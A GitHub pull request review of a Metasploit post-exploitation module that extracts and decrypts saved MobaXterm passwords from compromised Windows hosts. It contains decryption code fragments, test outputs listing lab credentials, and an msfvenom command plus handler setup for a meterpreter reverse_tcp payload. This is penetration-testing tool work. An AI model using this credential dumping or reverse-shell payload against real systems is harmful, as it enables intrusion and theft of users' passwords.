Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MobaXterm #17009

Merged
merged 7 commits into from
Oct 5, 2022
Merged

MobaXterm #17009

merged 7 commits into from
Oct 5, 2022

Conversation

cn-kali-team
Copy link
Contributor

Vulnerable Application

Any Windows host with a meterpreter session and MobaXtrem v20.6+
installed. The following passwords will be searched for and recovered:

Installation Steps

  1. Download the latest installer of MobaXtrem.
  2. Select default installation
  3. Open the software and click "Setting" in the toolbar, General > MobaXtrem password management > Master Password setting
    complete password setting, add the test account password to the certificate.

Verification Steps

  1. Get a meterpreter session on a Windows host.
  2. Do: run post/windows/gather/credentials/moba_xtrem
  3. If the system has registry keys for MobaXtrem passwords they will be printed out.

Options

MASTER_PASSWORD

  • If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically

CONFIG_PATH

  • Specifies the config file path for MobaXterm

Scenarios


msf6 post(windows/gather/credentials/moba_xtrem) > run
[*] Gathering MobaXterm session information from WIN-79MR8QJM50N
[!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24
%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #131#8%0%1009600%3%0%0%1%2%COM2  (ͨ˿ (COM2))#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Color
s_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #97#10%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #88#3%%0%-1%0%0%0%localhost%7100%1%0%1%0%657%336%0%0#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_
Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[+] MobaXterm Password
==================       
                                                                                                                                                               
Protocol  Hostname    Username  Password                                                                                                                       
--------  --------    --------  --------                                                                                                                       
          mobaserver  mobauser  278804moba14071pass317387                                                                                                      
                                                                                                                                                               
[+] MobaXterm Credentials
=====================

CredentialsName  Username  Password
---------------  --------  --------
ftp              1212
ssh              root      admin

[+] MobaXterm Bookmarks
===================

BookmarksName  Protocol  ServerHost           Port  Credentials or Passwords
-------------  --------  ----------           ----  ------------------------
ftp            ftp       ftp.asdas.com        21    asdas
msf            telnet    msf                  23    msf
rdp (rdp)      rdp       rdp                  3389  rdp
rsh            rsh       rdp.baid.com         rsh   #MobaFont
sftp           sftp      sftp.asdasd.com      22    asdasd
ssh            ssh       127.0.0.1            22    [ssh]
telnet_test    telnet    telnet.kali-team.cn  23    admin
vnc            vnc       vnc.basbas.com       5900  -1


@adfoster-r7 adfoster-r7 changed the title MobaXtrem MobaXterm Sep 15, 2022
@@ -0,0 +1,72 @@
## Vulnerable Application

Any Windows host with a `meterpreter` session and MobaXtrem v20.6+
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Any Windows host with a `meterpreter` session and MobaXtrem v20.6+
Any Windows host with a `meterpreter` session and MobaXterm v20.6+

This typo has been made in several places including the files names

register_options(
[
OptString.new('MASTER_PASSWORD', [ false, 'If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically']),
OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MobaXterm']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a default path this normally installs to?

Comment on lines 56 to 98
def pack_add(data)
if is_86
addr = [data].pack('V')
else
addr = [data].pack('Q<')
end
return addr
end

def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end

def read_str(address, len, type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
case type
when 0 # unicode
str_data = raw.gsub("\x00", '')
when 1 # null terminated
str_data = raw.unpack1('Z*')
when 2 # raw data
str_data = raw
end
rescue StandardError
str_data = nil
end
return str_data || 'Error Decrypting'
end

#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def pack_add(data)
if is_86
addr = [data].pack('V')
else
addr = [data].pack('Q<')
end
return addr
end
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
def read_str(address, len, type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
case type
when 0 # unicode
str_data = raw.gsub("\x00", '')
when 1 # null terminated
str_data = raw.unpack1('Z*')
when 2 # raw data
str_data = raw
end
rescue StandardError
str_data = nil
end
return str_data || 'Error Decrypting'
end
#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
end

None of this seems to be used?

end
aes = OpenSSL::Cipher.new('AES-256-ECB').encrypt
aes.key = key
new_iv = aes.update(iv)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Note for testing: Verify against openssl3

result
end

def gather_creads(config)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def gather_creads(config)
def gather_creds(config)

end
end

def parser_bookmark(bookmarks)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def parser_bookmark(bookmarks)
def parse_bookmarks(bookmarks)

next if user['AppData'].nil?

ini_config_path = "#{user['MyDocs']}\\MobaXterm\\MobaXterm.ini"
ini_config_path = datastore['CONFIG_PATH'] if datastore['CONFIG_PATH']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if there are multiple users but you have specified the CONFIG_PATH won't we be parsing this same file for every user?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@dwelch-r7 is correct here. @cn-kali-team if the config path is set to a specific user's configuration file, can we please skip iterating through every user in the system? Thank you 🙏

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jheysel-r7 Wait a minute

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf6 post(windows/gather/credentials/moba_xterm) > set config_path C:\\Users\\FireEye\\Desktop\\MobaXterm.ini                                                  
config_path => C:\Users\FireEye\Desktop\MobaXterm.ini                                                                                                          
msf6 post(windows/gather/credentials/moba_xterm) > run                                                                                                         
                                                                                                                                                               
[*] Gathering MobaXterm session information from WIN-79MR8QJM50N                                                                                               
[*] Specifies the config file path for MobaXterm C:\Users\FireEye\Desktop\MobaXterm.ini                                                                        
[!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24
%0%1%-1%<none>%%0#0# #-1                                                                                                                                       
[!] Parsing is not supported: #131#8%0%1009600%3%0%0%1%2%COM2  (ͨ˿ (COM2))#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Color
s_0_%80%24%0%1%-1%<none>%%0#0# #-1                                                                                                                             
[!] Parsing is not supported: #97#10%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #88#3%%0%-1%0%0%0%localhost%7100%1%0%1%0%657%336%0%0#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_
Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1                                                                                                                    
[+] Passwords stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_102077.txt                                           
[+] MobaXterm Password
==================

Protocol  Hostname    Username  Password
--------  --------    --------  --------
          mobaserver  mobauser  278804moba14071pass317387

[+] Credentials stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_791330.txt
[+] MobaXterm Credentials
=====================

CredentialsName  Username  Password
---------------  --------  --------
ftp              1212
ssh              root      admin

[+] Bookmarks stored in: /home/kali-team/.msf4/loot/20220927234026_default_192.168.80.128_host.moba_xterm_118109.txt
[+] MobaXterm Bookmarks
===================

BookmarksName  Protocol  ServerHost           Port  Credentials or Passwords
-------------  --------  ----------           ----  ------------------------
ftp            ftp       ftp.asdas.com        21    asdas
msf            telnet    msf                  23    msf
rdp (rdp)      rdp       rdp                  3389  rdp
rsh            rsh       rdp.baid.com         rsh   #MobaFont
sftp           sftp      sftp.asdasd.com      22    asdasd
ssh            ssh       127.0.0.1            22    [ssh]
telnet_test    telnet    telnet.kali-team.cn  23    admin
vnc            vnc       vnc.basbas.com       5900  -1

[*] Post module execution completed

Comment on lines 357 to 359
print_good(pw_tbl.to_s)
print_good(creds_tbl.to_s)
print_good(bookmarks_tbl.to_s)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Along with printing these out can we store the creds in the db too?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can't get the service and protocol corresponding to the account password, so I only save the information to a file, not to the database

@jheysel-r7 jheysel-r7 self-assigned this Sep 23, 2022
Comment on lines 72 to 73
eaddr = Rex::Text.pack_int64le(mem2)
elen = Rex::Text.pack_int64le(ent.length)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Variables mem2 and ent do not exist in the given context. I tried to resolve this issue but continued getting errors further on in execution. Could you please investigate this @cn-kali-team?

msf6 post(windows/gather/credentials/moba_xterm) > run

[*] Gathering MobaXterm session information from DESKTOP-BE1QFC9
[-] Post failed: NameError undefined local variable or method `mem2' for #<Module:post/windows/gather/credentials/moba_xterm datastore=[{"WORKSPACE"=>nil, "VERBOSE"=>true, "SESSION"=>6, "MASTER_PASSWORD"=>nil, "CONFIG_PATH"=>nil}]>
Did you mean?  mem
[-] Call stack:
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:72:in `windows_unprotect'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:128:in `mobaxterm_crypto_safe'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:171:in `block in gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:166:in `each_key'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:166:in `gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:272:in `block in run'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:261:in `each'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:261:in `run'
[*] Post module execution completed

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sorry, I only tested the x32 operating system, but not the x64 operating system. Maybe this code is copied from modules/post/windows/gather/credentials/pulse_secure.rb The decrypt of the secure.rb file decrypt_reg function

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I saw a lot of places to use Windows's Crypt's decryption function, whether there is planned to join the built-in method

modules/post/windows/gather/credentials/moba_xterm.rb Outdated Show resolved Hide resolved
modules/post/windows/gather/credentials/moba_xterm.rb Outdated Show resolved Hide resolved
modules/post/windows/gather/credentials/moba_xterm.rb Outdated Show resolved Hide resolved
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@cn-kali-team Thank you so so much for all the effort and changes you've made so far. We really appreciate it. I've noticed a couple more issues that need addressing before landing:

  1. The three tables (Password, Crendentials, Bookmarks) get printed once for every user. On system with many users this could make the output a bit hard to read. Would we be able to consolidated this so each table only gets printed once?

  2. If a Master Password is specified - I don't think it makes sense to iterate through all the users on the system because different users can have different Master Passwords. I think this leads to inaccurate results for the other users on the system (see output below, I specified the Master Password for the Administrator user which is different that the Master Password for msfuser)

msf6 post(windows/gather/credentials/moba_xterm) > run

[*] Gathering MobaXterm session information from DESKTOP-8ATHH6O
[+] Passwords stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_287104.txt
[+] MobaXterm Password
==================

Protocol  Hostname    Username  Password
--------  --------    --------  --------
          mobaserver  mobauser  ��	��O]d`F�2���{�9��S2�

[+] Credentials stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_838512.txt
[+] MobaXterm Credentials
=====================

CredentialsName  Username  Password
---------------  --------  --------
msfuser          msfuser   �=E���J�
                                   �

[+] Bookmarks stored in: /Users/jheysel/.msf4/loot/20220928101756_default_172.16.199.131_host.moba_xterm_294403.txt
[+] MobaXterm Bookmarks
===================

BookmarksName  Protocol  ServerHost  Port  Credentials or Passwords
-------------  --------  ----------  ----  ------------------------

[+] Passwords stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_908106.txt
[+] MobaXterm Password
==================

Protocol  Hostname    Username  Password
--------  --------    --------  --------
          mobaserver  mobauser  119558moba115620pass115119

[+] Credentials stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_178370.txt
[+] MobaXterm Credentials
=====================

CredentialsName  Username       Password
---------------  --------       --------
Administrator    Administrator  N0tpassword!

[+] Bookmarks stored in: /Users/jheysel/.msf4/loot/20220928101758_default_172.16.199.131_host.moba_xterm_688007.txt
[+] MobaXterm Bookmarks
===================

BookmarksName  Protocol  ServerHost  Port  Credentials or Passwords
-------------  --------  ----------  ----  ------------------------

[*] Post module execution completed
  1. When a MasterPassword is not specified I'm seeing this error in the output:
[-] Post failed: ArgumentError key must be 32 bytes
[-] Call stack:
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:151:in `key='
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:151:in `mobaxterm_crypto_safe'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:188:in `block in gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:183:in `each_key'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:183:in `gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:276:in `entry'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:363:in `block in run'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:351:in `each'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:351:in `run'
[*] Post module execution completed

This is because on line 145, key is getting set to "", even though config['SessionP'] and data_ini are both populated. Any idea what could be causing this? (Debug output from a breakpoint on line 150)

[12] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> config['SessionP']
=> "262222327780"
[13] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> data_ini
=> "\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8Cz\x00\xC0O\xC2\x97\xEB\x01\x00\x00\x00\xD2!\xFD\x92\xA7q\x9DE\x84\xBDJ\xE0\x91\xDB\xBB&\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00\x00Vf-?9\xF2B\xCE\xC1Y\xB7\x06\x12\x8EK\xFB\x8Ftb\x89\xBAt\xCE\x99\xAE\\\x92\x1D\xC4\xD4T\xA9\x00\x00\x00\x00\x0E\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xEB\x8A\xDB\x00\xA8/ \x87\xB7\x0E\xEDo\xF0h\x80\x1A\x13\xE7\x01~\xE2\xE4\x1E\xE8\xF9ec\f\xF0\xAA\x1D\xCF`\x00\x00\x00\xA7S\xAB\t\xAF\x0EbE\xA7DN\x8C\xE8\xD4LW\xFE\xE2\xD6\x94\x9B)a\xFD\xCD\xE3\xED4\x8E\xF7]\f\xB1h\xFD\x1Ea\x93\xE8A\x1F\xFE\xD72\xAB\xE97\xC1\xFF\x9FL\xFE\xBB\xC3\x96\xA0X\x96\x18\x17V7\xA0.\xC2\xCBuS\x86c\x9E\xD4T;\x00G\x8F\x04\x85Y\x8E\x8BhS\xDD\xFBIW\x06\x81\x1A4x`\xDC\x06@\x00\x00\x00\xE8\x00\xC6\x17\x84~\x82\xBC*\x11\xF7e}\x06\xD5\x8BQ\xD62\xC8#\x99\f\x9A\xA0?4\xF1U\xBD\xD8\xDE\xBA\x06\xAC\x1D\x8Ed\xFEy)\x11\xD3\xC3D.\x97\x1D\xEA\x15^rQ\xD3 \xBE\x96\xD7@<^:R\""
[14] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> Rex::Text.decode_base64(windows_unprotect(config['SessionP'], data_ini))[0, 32]
=> ""
[15] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> key
=> ""
[16] pry(#<Msf::M

@jheysel-r7
Copy link
Contributor

@cn-kali-team Thanks for making those improvements! 🙇 I'm still seeing failures when running in an Administrative session on a windows host with multiple regular user accounts.

I'm not sure trying to run this module for every user on the system with grab_user_profiles.each do |user| will work in this scenario. This is what I found:

Administrative Session

We have the privileges required to retrieve all the data from grab_user_profiles, (MyDocs, etc):

Admin grab_user_profiles debug output

[2] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> grab_user_profiles
=> [{"SID"=>"S-1-5-21-3365057211-2501048183-859026921-1000",
  "ProfileDir"=>"C:\\Users\\msfuser",
  "AppData"=>"C:\\Users\\msfuser\\AppData\\Roaming",
  "LocalAppData"=>"C:\\Users\\msfuser\\AppData\\Local",
  "LocalSettings"=>nil,
  "Desktop"=>"C:\\Users\\msfuser\\Desktop",
  "MyDocs"=>"C:\\Users\\msfuser\\Documents",
  "Favorites"=>"C:\\Users\\msfuser\\Favorites",
  "History"=>"C:\\Users\\msfuser\\AppData\\Local\\Microsoft\\Windows\\History",
  "Cookies"=>"C:\\Users\\msfuser\\AppData\\Local\\Microsoft\\Windows\\INetCookies",
  "Temp"=>"C:\\Users\\msfuser\\AppData\\Local\\Temp\x00",
  "Path"=>"%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;\x00",
  "UserName"=>"msfuser",
  "Domain"=>"DESKTOP-8ATHH6O"},
 {"SID"=>"S-1-5-21-3365057211-2501048183-859026921-1001",
  "ProfileDir"=>"C:\\Users\\msfuser2",
  "AppData"=>"C:\\Users\\msfuser2\\AppData\\Roaming",
  "LocalAppData"=>"C:\\Users\\msfuser2\\AppData\\Local",
  "LocalSettings"=>nil,
  "Desktop"=>"C:\\Users\\msfuser2\\Desktop",
  "MyDocs"=>"C:\\Users\\msfuser2\\Documents",
  "Favorites"=>"C:\\Users\\msfuser2\\Favorites",
  "History"=>"C:\\Users\\msfuser2\\AppData\\Local\\Microsoft\\Windows\\History",
  "Cookies"=>"C:\\Users\\msfuser2\\AppData\\Local\\Microsoft\\Windows\\INetCookies",
  "Temp"=>"C:\\Users\\msfuser2\\AppData\\Local\\Temp\x00",
  "Path"=>"%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;\x00",
  "UserName"=>"msfuser2",
  "Domain"=>"DESKTOP-8ATHH6O"},
 {"SID"=>"S-1-5-21-3365057211-2501048183-859026921-500",
  "ProfileDir"=>"C:\\Users\\Administrator",
  "AppData"=>"C:\\Users\\Administrator\\AppData\\Roaming",
  "LocalAppData"=>"C:\\Users\\Administrator\\AppData\\Local",
  "LocalSettings"=>nil,
  "Desktop"=>"C:\\Users\\Administrator\\Desktop",
  "MyDocs"=>"C:\\Users\\Administrator\\Documents",
  "Favorites"=>"C:\\Users\\Administrator\\Favorites",
  "History"=>"C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\History",
  "Cookies"=>"C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\INetCookies",
  "Temp"=>"C:\\Users\\Administrator\\AppData\\Local\\Temp\x00",
  "Path"=>"%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;\x00",
  "UserName"=>"Administrator",
  "Domain"=>"DESKTOP-8ATHH6O"}]

However when evaluating msfuser's MobaXterm.ini file in an Admin session , this line:
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16) does not execute properly

ret debug output

[1] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> ret
=> {"GetLastError"=>2148073483,
 "ErrorMessage"=>"Key not valid for use in specified state.",
 "return"=>false,
 "szDataDescr"=>"\u0000\u0000\u0000\u0000\u4141\u4141\u4141\u4141",
 "pDataOut"=>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"}

As you can see ret['pDataOut'] is all null bytes, that propagates up the stack and we receive the following stack trace:

stack trace

[-] Post failed: ArgumentError key must be 32 bytes
[-] Call stack:
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:154:in `key='
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:154:in `mobaxterm_crypto_safe'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:191:in `block in gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:186:in `each_key'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:186:in `gather_password'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:279:in `entry'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:345:in `block in run'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:335:in `each'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:335:in `run'
[*] Post module execution completed

It seems one user is not able to process another user's config file, I'm still not exactly sure what the root cause is, or if it can be fixed.

Normal user session (msfuser):

The session doesn't appear to have the privileges necessary to collect MyDocs for users other than for than the user the session belongs to. So we might want to consider removing the logic that loops over all users, unless you can see a way around this issue.

user grab_user_profiles debug output

[2] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Moba_xterm::MetasploitModule>)> grab_user_profiles
=> [{"SID"=>"S-1-5-21-3365057211-2501048183-859026921-1000",
  "ProfileDir"=>"C:\\Users\\msfuser",
  "AppData"=>"C:\\Users\\msfuser\\AppData\\Roaming",
  "LocalAppData"=>"C:\\Users\\msfuser\\AppData\\Local",
  "LocalSettings"=>nil,
  "Desktop"=>"C:\\Users\\msfuser\\Desktop",
  "MyDocs"=>"C:\\Users\\msfuser\\Documents",
  "Favorites"=>"C:\\Users\\msfuser\\Favorites",
  "History"=>"C:\\Users\\msfuser\\AppData\\Local\\Microsoft\\Windows\\History",
  "Cookies"=>"C:\\Users\\msfuser\\AppData\\Local\\Microsoft\\Windows\\INetCookies",
  "Temp"=>"C:\\Users\\msfuser\\AppData\\Local\\Temp\x00",
  "Path"=>"%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;\x00",
  "UserName"=>"msfuser",
  
  "Domain"=>"DESKTOP-8ATHH6O"},
 {"SID"=>"S-1-5-21-3365057211-2501048183-859026921-1001",
  "ProfileDir"=>"C:\\Users\\msfuser2",
  "AppData"=>nil,
  "LocalAppData"=>nil,
  "LocalSettings"=>nil,
  "Desktop"=>nil,
  "MyDocs"=>nil,
  "Favorites"=>nil,
  "History"=>nil,
  "Cookies"=>nil,
  "Temp"=>"",
  "Path"=>nil,
  "UserName"=>"msfuser2",
  "Domain"=>"DESKTOP-8ATHH6O"},
 {"SID"=>"S-1-5-21-3365057211-2501048183-859026921-500",
  "ProfileDir"=>"C:\\Users\\Administrator",
  "AppData"=>nil,
  "LocalAppData"=>nil,
  "LocalSettings"=>nil,
  "Desktop"=>nil,
  "MyDocs"=>nil,
  "Favorites"=>nil,
  "History"=>nil,
  "Cookies"=>nil,
  "Temp"=>"",
  "Path"=>nil,
  "UserName"=>"Administrator",
  "Domain"=>"DESKTOP-8ATHH6O"}]

Thanks again for all your hard work on this module!

@cn-kali-team
Copy link
Contributor Author

More testing is needed to decrypt the x64 approach to windows_unprotect.

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
@jheysel-r7 jheysel-r7 merged commit 60c21da into rapid7:master Oct 5, 2022
@cn-kali-team
Copy link
Contributor Author

  • I found that under the x64 process, the first decryption will fail, but the second time it works normally. This code was copied seven years ago.
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.80.1
run
  • use x64 payload
    ➜ metasploit-framework git:(Gather_MobaXtrem_Password) ✗ ./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.1 -f exe -o payload.exe -a x64 --platform windows

  • If you kill the process after working normally for the second time and reopen it for the first time, an error occurs

[*] Gathering MobaXterm session information from WIN-79MR8QJM50N
[*] Specifies the config file path for MobaXterm C:\Users\FireEye\Documents\MobaXterm\MobaXterm.ini
[-] Post failed: Encoding::InvalidByteSequenceError "\x80\xDA" followed by "\xF4\x01" on UTF-16LE
[-] Call stack:
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb:63:in `encode'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb:63:in `uniz_to_str'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb:331:in `block in build_response'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb:321:in `each_pair'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb:321:in `build_response'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb:375:in `process_function_call'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb:95:in `call_function'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb:25:in `method_missing'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:120:in `windows_unprotect'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:177:in `mobaxterm_crypto_safe'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:220:in `block in gather_password'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:215:in `each_key'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:215:in `gather_password'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:308:in `entry'
[-]   /home/kali-team/IdeaProjects/metasploit-framework/modules/post/windows/gather/credentials/moba_xterm.rb:352:in `run'

@jheysel-r7
Copy link
Contributor

Release Notes

This module will determine if MobaXterm is installed on the target system and, if it is, it will try to dump all saved session information from the target. The passwords for these saved sessions will then be decrypted where possible.

@cn-kali-team
Copy link
Contributor Author

Oh, my God 😭

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Oct 5, 2022
@jheysel-r7
Copy link
Contributor

Oh, my God 😭

@cn-kali-team, is everything okay? Were there any more changes you were hoping to make before I landed this PR?

@cn-kali-team
Copy link
Contributor Author

Oh, my God 😭

@cn-kali-team, is everything okay? Were there any more changes you were hoping to make before I landed this PR?

I can't find the root of the problem. The first time I run the module I always get errors when testing the x64 architecture, but the second time it works fine again

@jheysel-r7
Copy link
Contributor

Oh, my God 😭

@cn-kali-team, is everything okay? Were there any more changes you were hoping to make before I landed this PR?

